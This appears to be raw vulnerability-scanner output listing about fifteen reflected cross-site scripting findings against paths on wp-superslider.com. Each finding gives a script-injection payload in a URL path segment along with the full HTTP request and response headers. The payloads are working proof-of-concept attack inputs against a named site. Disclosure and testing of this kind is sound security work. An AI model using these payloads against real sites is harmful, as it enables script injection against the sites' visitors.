<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29fcf"><script>alert(1)</script>8b6006bf31 was submitted in the REST URL parameter 1. This input was echoed as 29fcf\"><script>alert(1)</script>8b6006bf31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site29fcf"><script>alert(1)</script>8b6006bf31/wp-content/plugins/superslider/js/zoomer.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:14 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674534+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674534; expires=Thu, 02-Feb-2012 19:22:14 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53311
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9adac"><script>alert(1)</script>8768e1887b4 was submitted in the REST URL parameter 2. This input was echoed as 9adac\"><script>alert(1)</script>8768e1887b4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content9adac"><script>alert(1)</script>8768e1887b4/plugins/superslider/js/zoomer.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:15 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674535+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674535; expires=Thu, 02-Feb-2012 19:22:15 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:15 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e674"><script>alert(1)</script>394812d1f45 was submitted in the REST URL parameter 3. This input was echoed as 6e674\"><script>alert(1)</script>394812d1f45 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins6e674"><script>alert(1)</script>394812d1f45/superslider/js/zoomer.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:16 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674537+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674537; expires=Thu, 02-Feb-2012 19:22:17 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:17 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c560f"><script>alert(1)</script>35a04a94683 was submitted in the REST URL parameter 4. This input was echoed as c560f\"><script>alert(1)</script>35a04a94683 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/supersliderc560f"><script>alert(1)</script>35a04a94683/js/zoomer.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674543+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674543; expires=Thu, 02-Feb-2012 19:22:23 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:23 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c31b9"><script>alert(1)</script>7140731d2d5 was submitted in the REST URL parameter 5. This input was echoed as c31b9\"><script>alert(1)</script>7140731d2d5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/jsc31b9"><script>alert(1)</script>7140731d2d5/zoomer.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:24 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674544+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674544; expires=Thu, 02-Feb-2012 19:22:24 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:24 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53314
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b3d1"><script>alert(1)</script>c6b5086f849 was submitted in the REST URL parameter 6. This input was echoed as 8b3d1\"><script>alert(1)</script>c6b5086f849 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/js/zoomer.js8b3d1"><script>alert(1)</script>c6b5086f849 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:25 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674546; expires=Thu, 02-Feb-2012 19:22:26 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:26 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d90df"><script>alert(1)</script>fc5f82eb8e was submitted in the REST URL parameter 1. This input was echoed as d90df\"><script>alert(1)</script>fc5f82eb8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sited90df"><script>alert(1)</script>fc5f82eb8e/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674542+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674542; expires=Thu, 02-Feb-2012 19:22:22 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:22 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53422
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d7f2"><script>alert(1)</script>072b6ccaa59 was submitted in the REST URL parameter 2. This input was echoed as 1d7f2\"><script>alert(1)</script>072b6ccaa59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content1d7f2"><script>alert(1)</script>072b6ccaa59/plugins/superslider/plugin-data/superslider/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:23 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674543+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674544; expires=Thu, 02-Feb-2012 19:22:24 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:24 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb38d"><script>alert(1)</script>3a5d2ee8686 was submitted in the REST URL parameter 3. This input was echoed as fb38d\"><script>alert(1)</script>3a5d2ee8686 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsfb38d"><script>alert(1)</script>3a5d2ee8686/superslider/plugin-data/superslider/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:25 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674545; expires=Thu, 02-Feb-2012 19:22:25 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:25 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b392f"><script>alert(1)</script>ed6e8acd146 was submitted in the REST URL parameter 4. This input was echoed as b392f\"><script>alert(1)</script>ed6e8acd146 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/supersliderb392f"><script>alert(1)</script>ed6e8acd146/plugin-data/superslider/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:26 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674547+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674547; expires=Thu, 02-Feb-2012 19:22:27 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:27 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35ed6"><script>alert(1)</script>d2c6d4601bc was submitted in the REST URL parameter 5. This input was echoed as 35ed6\"><script>alert(1)</script>d2c6d4601bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data35ed6"><script>alert(1)</script>d2c6d4601bc/superslider/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:29 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674549+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674550; expires=Thu, 02-Feb-2012 19:22:30 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:30 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53424
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55124"><script>alert(1)</script>66807ffcd49 was submitted in the REST URL parameter 6. This input was echoed as 55124\"><script>alert(1)</script>66807ffcd49 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider55124"><script>alert(1)</script>66807ffcd49/ssBase/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:32 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674552+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674552; expires=Thu, 02-Feb-2012 19:22:32 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:32 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7371b"><script>alert(1)</script>e47164d461b was submitted in the REST URL parameter 7. This input was echoed as 7371b\"><script>alert(1)</script>e47164d461b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase7371b"><script>alert(1)</script>e47164d461b/default/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:33 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674553+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674553; expires=Thu, 02-Feb-2012 19:22:33 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:33 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b76a"><script>alert(1)</script>669576129ba was submitted in the REST URL parameter 8. This input was echoed as 7b76a\"><script>alert(1)</script>669576129ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default7b76a"><script>alert(1)</script>669576129ba/scroll.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:35 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674555+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674555; expires=Thu, 02-Feb-2012 19:22:35 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:35 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2288a"><script>alert(1)</script>db427e6a945 was submitted in the REST URL parameter 9. This input was echoed as 2288a\"><script>alert(1)</script>db427e6a945 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default/scroll.css2288a"><script>alert(1)</script>db427e6a945 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
